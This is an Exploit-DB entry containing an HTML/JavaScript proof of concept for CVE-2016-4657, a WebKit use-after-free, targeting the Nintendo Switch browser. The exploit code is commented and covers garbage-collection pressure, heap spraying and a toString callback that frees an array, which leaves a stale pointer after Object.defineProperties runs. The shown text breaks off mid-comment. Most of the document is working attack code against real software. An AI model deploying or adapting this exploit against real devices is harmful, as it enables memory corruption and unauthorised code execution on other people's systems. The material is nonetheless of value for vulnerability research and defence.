Exploit-DB #44213
Description: Nintendo Switch - WebKit Code Execution (PoC)
Type: dos
Platform: hardware
Date: 2017-03-12
Author: qwertyoruiop

Exploit:
<!doctype html>
<html>
    <head>
        <title>CVE-2016-4657 Switch PoC</title>
        <style>
            body {font-size: 2em;}
            a {text-decoration: none; color: #000;}
            a:hover {color: #f00; font-weight: bold;}
        </style>
    </head>
    <body>
        <h1>CVE-2016-4657 Nintendo Switch PoC</h1>
        <ul>
            <li><a href=\'javascript:go();\'> go!</a></li>
            <li><a href=\'javascript:document.location.reload();\'> reload</a></li>
        </ul>
        <div id=\'status\'> waiting... click go.</div>

            <script>
                // display JS errors as alerts. Helps debugging.
                window.onerror = function(error, url, line) {
                    alert(error+\' URL:\'+url+\' L:\'+line);
                };
            </script>
            <script>

                // based on jbme.qwertyoruiop.com
                // Thanks to:
                //  + qwertyoruiop
                //  + Retr0id
                //  + Ando
                //
                // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html

                // garbage collection stuff
                var pressure = new Array(100);
                // do garbage collect
                dgc = function() {
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = new Uint32Array(0x10000);
                    }
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = 0;
                    }
                }


                // access to the overlapping Uint32Array
                var bufs = new Array(0x1000);
                // we will modify the vector of this
                var smash = new Uint32Array(0x10);
                // the array with the stale pointer
                var stale = 0;

                var _dview = null;
                // write 2x 32bit in a DataView and get the Float representation of it
                function u2d(low, hi) {
                    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
                    _dview.setUint32(0, hi);
                    _dview.setUint32(4, low);
                    return _dview.getFloat64(0);
                }

                function go_() {
                    // check if the length of the array smash changed already. if yes, bail out.
                    if (smash.length != 0x10) return;

                    // garbage collect
                    dgc();

                    // new array with 0x100 elements
                    var arr = new Array(0x100);

                    // new array buffer of length 0x1000
                    var yolo = new ArrayBuffer(0x1000);

                    // populate the arr with pointer to yolo and a number. not quite sure why.
                    arr[0] = yolo;
                    arr[1] = 0x13371337;

                    // create an object whos toString function returns number 10 and messes with arr.
                    var not_number = {};
                    not_number.toString = function() {
                        arr = null;
                        props[\"stale\"][\"value\"] = null;

                        // if bufs is already overlapping memory, bail out.
                        if (bufs[0]) return 10;
                        // really make sure garbage is collected
                        // the array pointed at by arr should be gone now.
                        for (var i = 0; i < 20; i++) {
                            dgc();
                        }
                        // for the whole buf Array
                        for (i = 0; i < bufs.length; i++) {
                            // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier
                            bufs[i] = new Uint32Array(0x100 * 2)
                            // for each element of that array
                            for (k = 0; k < bufs[i].length;) {
                                // set memory to 0x41414141 0xffff0000
                                // basically spraying the JSValue 0xffff[PII_REDACTED]41
                                // which is the Integer 0x41414141
                                // phrack: Integer FFFF:0000:IIII:IIII
                                bufs[i][k++] = 0x41414141;
                                bufs[i][k++] = 0xffff0000;
                            }
                        }
                        return 10;
                    };
                    // define a new object with some properties
                    var props = {
                        p0: { value: 0 },
                        p1: { value: 1 },
                        p2: { value: 2 },
                        p3: { value: 3 },
                        p4: { value: 4 },
                        p5: { value: 5 },
                        p6: { value: 6 },
                        p7: { value: 7 },
                        p8: { value: 8 },
                        // the length of this object is set to this object that does evil stuff with toString()
                        length: { value: not_number },
                        // the reference to the arr array. Which will later be freed.
                        stale: { value: arr },
                        after: { value: 666 }
                    };
                    // define a new target array
                    var target = [];

                    // TRIGGER BUG!
                    // set the properties of the target based on the previously defined ones
                    Object.defineProperties(target, props);

                    // get a reference to the target stale property, which points to arr
                    stale = target.stale;

                    // make sure that the stale[0] points actually t